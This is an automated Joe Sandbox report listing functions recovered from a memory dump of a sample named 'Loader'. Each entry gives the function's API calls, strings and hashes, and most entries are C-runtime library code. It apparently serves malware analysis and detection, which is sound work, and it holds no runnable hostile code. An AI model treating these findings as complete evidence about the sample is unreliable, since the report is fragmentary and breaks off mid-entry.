Function 002C1067 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,002C105E,002B7150,002B388F,BB40E64E,?,?,?,?,002D2FDF,000000FF,?,002A9085), ref: 002C1075
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 002C1083
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 002C109C
SetLastError.KERNEL32(00000000,?,002C105E,002B7150,002B388F,BB40E64E,?,?,?,?,002D2FDF,000000FF,?,002A9085), ref: 002C10EE

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 20f4914e222f03609946f622d685d2b763911f986a62cb140c19a456f7a0f4ec
Instruction ID: f85e7d237785618f6f48cc31393508b78b9bec04ed75ae73722c979faa0500cd
Opcode Fuzzy Hash: 20f4914e222f03609946f622d685d2b763911f986a62cb140c19a456f7a0f4ec
Instruction Fuzzy Hash: 0801B5331782D25EA6242AB57CCEF6B2B94DF177B4720433DF914494F2EE5148B29A80

Function 002C18EE Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 002C1A0D
CallUnexpected.LIBVCRUNTIME ref: 002C1C86

Strings

csm, xrefs: 002C192B
csm, xrefs: 002C1998
csm, xrefs: 002C1A44

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: a30b1c4f209990e8a993ef597e52b0239d95a172aed12ddd52d3c846fc054e5c
Instruction ID: dc02b607f3d6ef807cc06055a1773860b2e4c777e57c0edc427d46cf38836187
Opcode Fuzzy Hash: a30b1c4f209990e8a993ef597e52b0239d95a172aed12ddd52d3c846fc054e5c
Instruction Fuzzy Hash: BBB14A7182020ADFCF28DFA4C882FAEB7B5AF16314B14465EE8156B212D371DA71CF95

Function 0042CB7D Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042CCD2

Strings

@IG@, xrefs: 0042CBD5
|ALH, xrefs: 0042CBE5
@FrK, xrefs: 0042CBED
O, xrefs: 0042CCF2

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: FreeLibrary
String ID: @FrK$@IG@$O$|ALH
API String ID: 3664257935-3271044971
Opcode ID: 77d7db0ef69e4ce8d51c63679926fa2f1e735ce4722d72d25ad150f2fbb4058d
Instruction ID: 100ef97d44ee28df1cc260658387d4dab923bee4a46e3698bd12abd1d6110507
Opcode Fuzzy Hash: 77d7db0ef69e4ce8d51c63679926fa2f1e735ce4722d72d25ad150f2fbb4058d
Instruction Fuzzy Hash: 505179725083904FE3218B3ADC5176BBFC2EFD2304F28895DE5E55B392DA7885068B96

Function 002C1615 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 002C16DC
___AdjustPointer.LIBCMT ref: 002C16FF
___AdjustPointer.LIBCMT ref: 002C179B

Strings

0*+, xrefs: 002C1674

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: AdjustPointer
String ID: 0*+
API String ID: 1740715915-419236330
Opcode ID: 88f178866ea3159ec78cb4443eaa326dd04e776045919984a2d085dcfca8774b
Instruction ID: 3227de9a4bfd83deb50f434fdc9592ee82a5adb1a6c2fd9ac80f74e9656b7a2f
Opcode Fuzzy Hash: 88f178866ea3159ec78cb4443eaa326dd04e776045919984a2d085dcfca8774b
Instruction Fuzzy Hash: 5051E571A21202DFDB298F14D987FA9B7A8EF52340F24422DE85647292D731EC75CF90

Function 002B567A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 002B5681
std::_Lockit::_Lockit.LIBCPMT ref: 002B568B

Part of subcall function 002A3D50: std::_Lockit::_Lockit.LIBCPMT ref: 002A3D7E
Part of subcall function 002A3D50: std::_Lockit::~_Lockit.LIBCPMT ref: 002A3DA9

std::_Lockit::~_Lockit.LIBCPMT ref: 002B56FC

Strings

0*+, xrefs: 002B56E9
|., xrefs: 002B5696

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID: |.$0*+
API String ID: 1383202999-2553041580
Opcode ID: 8654e6dbe85992722d5dfff09b1c8aa82c58a9ab207c3365b99286e386740bcb
Instruction ID: e6547952f60da687acb6bb7b5b55d56087f2e984a0c789e3fb57690d3609aa21
Opcode Fuzzy Hash: 8654e6dbe85992722d5dfff09b1c8aa82c58a9ab207c3365b99286e386740bcb
Instruction Fuzzy Hash: 8F01C03193062ADFCB05EFA4D8496FDB775AF84350F640509F410AB291CF749E258F91

Function 002C39CA Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 002C3A4F
__alloca_probe_16.LIBCMT ref: 002C3B18
__freea.LIBCMT ref: 002C3B7F

Part of subcall function 002C2291: HeapAlloc.KERNEL32(00000000,002C4215,?,?,002C4215,00000220,?,?,?), ref: 002C22C3

__freea.LIBCMT ref: 002C3B92
__freea.LIBCMT ref: 002C3B9F

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 5bc8404dd043d38e745665cf31bd25973ed44c6999f62ed10bbf8944f2e1dc11
Instruction ID: 53f8e9f982ede2b954604c707c24ba002291d9fef4bf67a967451c6204d5e0c3
Opcode Fuzzy Hash: 5bc8404dd043d38e745665cf31bd25973ed44c6999f62ed10bbf8944f2e1dc11
Instruction Fuzzy Hash: DF51C372620206AFEB20DE658C89FBB37A9DF44714B158A2DFD04D6101EB70DE70DA60

Function 002B5CE1 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 002B5CF5
AcquireSRWLockExclusive.KERNEL32(?,?,?,002AB43E), ref: 002B5D14
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,002AB43E), ref: 002B5D42
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,002AB43E), ref: 002B5D9D
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,002AB43E), ref: 002B5DB4

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 5f418ca06093d389e4efa9baec8fa61acc3be2cb0119e93876fa07fa848bb518
Instruction ID: 7c660e248ee75d04ab382ca12a101d07b6113ecbb5f44e1492461b183dd0a318
Opcode Fuzzy Hash: 5f418ca06093d389e4efa9baec8fa61acc3be2cb0119e93876fa07fa848bb518
Instruction Fuzzy Hash: B8413634520E2BDBCB20CF64C488BEAB3F5FF08390B204A29E4568B540D730E9A5CF50

Function 002C6C16 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMON

Download Yara Rule

APIs

Part of subcall function 002C24EA: GetLastError.KERNEL32(00000000,?,002C486D), ref: 002C24EE
Part of subcall function 002C24EA: SetLastError.KERNEL32(00000000,?,?,00000028,002BEB13), ref: 002C2590

GetACP.KERNEL32 ref: 002C6CD5
IsValidCodePage.KERNEL32(00000000), ref: 002C6D0C

Strings

utf8, xrefs: 002C6DDE
P.USA, xrefs: 002C6C54

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: P.USA$utf8
API String ID: 943130320-4222553367
Opcode ID: b711bca9d3aeb9704f697c43e282e5159823f605c64dc012b8e7e5408b5f96c1
Instruction ID: 923b89b33e4ce985dd39a54f5fafd73acdc20b655528107a55a6f6368b24de10
Opcode Fuzzy Hash: b711bca9d3aeb9704f697c43e282e5159823f605c64dc012b8e7e5408b5f96c1
Instruction Fuzzy Hash: 9151F675624707AADB24AF70CC4EFA673A8EF44700F14062EF9459B181F670EA709BA1

Function 002A3580 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 002A35BD

Part of subcall function 002A3D50: std::_Lockit::_Lockit.LIBCPMT ref: 002A3D7E
Part of subcall function 002A3D50: std::_Lockit::~_Lockit.LIBCPMT ref: 002A3DA9

std::_Lockit::~_Lockit.LIBCPMT ref: 002A36D5

Strings

0*+, xrefs: 002A368E
(|., xrefs: 002A35CD

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: (|.$0*+
API String ID: 593203224-2881690827
Opcode ID: c80d28a4a51e82238e0cb992b905c599700e6696e22b401147fa342309113775
Instruction ID: ba86638ca54843bd17c193b0b88a18373283fdfcc310ae283741664af93b3ea3
Opcode Fuzzy Hash: c80d28a4a51e82238e0cb992b905c599700e6696e22b401147fa342309113775
Instruction Fuzzy Hash: 3F41B2B5E20249DFCB04DFA8D981AEDBBF4BF49750F104129E416A7390DB70AA14CFA5

Function 002C157E Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 002C17F5

Strings

0*+, xrefs: 002C18BD
csm, xrefs: 002C1888
csm, xrefs: 002C1817

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: 0*+$csm$csm
API String ID: 3493665558-1084059588
Opcode ID: 84b45ee13521e61eeefad65eb0b6407db5778473253861d8bb17c803274c3b1f
Instruction ID: 3ac1adad70792173c375088bc54e231e2360181524964fe855cb62a0f7387e02
Opcode Fuzzy Hash: 84b45ee13521e61eeefad65eb0b6407db5778473253861d8bb17c803274c3b1f
Instruction Fuzzy Hash: C331C335828256DBEF265F90CC42F6A7B69EF0A314B18475EF85449212C332CC72DB81

Function 002A1C10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 78libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 002A1CCE

Strings

VirtualProtect, xrefs: 002A1CC1
0*+, xrefs: 002A1CFB
@, xrefs: 002A1D17

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: AddressProc
String ID: 0*+$@$VirtualProtect
API String ID: 190572456-3191760967
Opcode ID: 2ffb873451b8dc42cfa5284d220937cbbf0f6933b10bd486c4d990f93e0b6280
Instruction ID: 932f930a9d65b8bf0f05ab910825c9bc38c5b5d0cf305bd5993d48030f0370f4
Opcode Fuzzy Hash: 2ffb873451b8dc42cfa5284d220937cbbf0f6933b10bd486c4d990f93e0b6280
Instruction Fuzzy Hash: 9141E4B0D10209DFDB04DFA9E59869EBBF0FF48358F10842AE848AB350D7759954CF91

Function 002CD170 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,002CD20C,?,?,00000000,?,?,?,002CD0CA,00000002,FlsGetValue,002D81E4,002D81EC), ref: 002CD17D
GetLastError.KERNEL32(?,002CD20C,?,?,00000000,?,?,?,002CD0CA,00000002,FlsGetValue,002D81E4,002D81EC,?,?,002C1088), ref: 002CD187
LoadLibraryExW.KERNEL32(?,00000000,00000000,000000FF,?,002A9085), ref: 002CD1AF

Strings

api-ms-, xrefs: 002CD194

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: a25e4c953248a3c2a8aa91b0355610d1f2442f44e020e30d14eb46903f316108
Instruction ID: 24e3ec738747f0a0e3c4d1a420ee4df6c177b03a2777c6a66edb2dfce2f9fe53
Opcode Fuzzy Hash: a25e4c953248a3c2a8aa91b0355610d1f2442f44e020e30d14eb46903f316108
Instruction Fuzzy Hash: 24E01A70290245BBFB202F65EC4AF2D3BA5AB10B84F184534FA0CA80E1D7B298718944

Function 002CA23E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 002CA2A1

Part of subcall function 002C23A1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,002C3B75,?,00000000,-00000008), ref: 002C2402

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 002CA4F3
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 002CA539
GetLastError.KERNEL32 ref: 002CA5DC

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 43a652a590f183687bc331d1339c5c0d953f874083fa3c5a9666d6e9cbd76352
Instruction ID: d46219f63cd13ec1652f651f756a08aaf3ec29093d3b3d643b9fc46c10b6ac79
Opcode Fuzzy Hash: 43a652a590f183687bc331d1339c5c0d953f874083fa3c5a9666d6e9cbd76352
Instruction Fuzzy Hash: 0CD179B5D1028C9FCB15CFA8D884AADBBB5FF08314F24826EE856EB251D630A951CF51

Function 002C8066 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 002C23A1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,002C3B75,?,00000000,-00000008), ref: 002C2402

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 002C80CA
__dosmaperr.LIBCMT ref: 002C80D1
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 002C810B
__dosmaperr.LIBCMT ref: 002C8112

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: e6ac4d2cc4bcbf5148db8fb56eee4447c0bef510e0d5b2db15b696bff2e196eb
Instruction ID: 6917be0d06c2669e54a2898b58f7a80a5105972e4f9e2e659392a02ae8e35cb5
Opcode Fuzzy Hash: e6ac4d2cc4bcbf5148db8fb56eee4447c0bef510e0d5b2db15b696bff2e196eb
Instruction Fuzzy Hash: E621B831620216AF9B20AF61C881EAB77E9EF05364714CA1CF91997110EB71EC608F51

Function 002B9592 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2405b6ca504f8740c24341dab4b2f58b887bf50b90a24aaf26cf3cc89a8d6cf8
Instruction ID: 75ef817e0b2a21fd7a0420f6bfe2aa7a15a283e327b2f082b7dccc3af5e4f701
Opcode Fuzzy Hash: 2405b6ca504f8740c24341dab4b2f58b887bf50b90a24aaf26cf3cc89a8d6cf8
Instruction Fuzzy Hash: 2421A13162020AAF9B20AF65CC809EB77ADEF413E47144525FB1997241EB30ECF0CB60

Function 002C945E Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 002C9466

Part of subcall function 002C23A1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,002C3B75,?,00000000,-00000008), ref: 002C2402

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 002C949E
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 002C94BE

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: daff82f0ab6fa1ec3caeb648ea4dcf6e517636e8a95e933823855fbfe499f96c
Instruction ID: 4e5e0c29dc291a7d106a36eb309d41fa5b9de7281c7812b00ca39088138b047b
Opcode Fuzzy Hash: daff82f0ab6fa1ec3caeb648ea4dcf6e517636e8a95e933823855fbfe499f96c
Instruction Fuzzy Hash: 001104B1521547BF672567B66CCDEAF7A9CCE893A4710023CFC0591100FE708DA285B1

Function 002D27B0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,002D149F,00000000,00000001,?,?,?,002CA630,?,00000000,00000000), ref: 002D27C7
GetLastError.KERNEL32(?,002D149F,00000000,00000001,?,?,?,002CA630,?,00000000,00000000,?,?,?,002C9F76,?), ref: 002D27D3

Part of subcall function 002D2830: CloseHandle.KERNEL32(FFFFFFFE,002D27E3,?,002D149F,00000000,00000001,?,?,?,002CA630,?,00000000,00000000,?,?), ref: 002D2840

___initconout.LIBCMT ref: 002D27E3

Part of subcall function 002D2805: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,002D27A1,002D148C,?,?,002CA630,?,00000000,00000000,?), ref: 002D2818

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,002D149F,00000000,00000001,?,?,?,002CA630,?,00000000,00000000,?), ref: 002D27F8

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 220002b8c6b0918ce66c286df7d3266ac0587abd035bf33c2b34287aa1d5af32
Instruction ID: 9c933d849e1538cbb8f04507d0f2ef823ae739f1fc3cba8b8ffafd7ab8e41459
Opcode Fuzzy Hash: 220002b8c6b0918ce66c286df7d3266ac0587abd035bf33c2b34287aa1d5af32
Instruction Fuzzy Hash: 70F01536150199FBCF226F91EC4C98E3F66FB183A1B154221FA18C9220D6328D70EBA0

Function 002B6ED5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 002B6EE7
GetCurrentThreadId.KERNEL32 ref: 002B6EF6
GetCurrentProcessId.KERNEL32 ref: 002B6EFF
QueryPerformanceCounter.KERNEL32(?), ref: 002B6F0C

Memory Dump Source

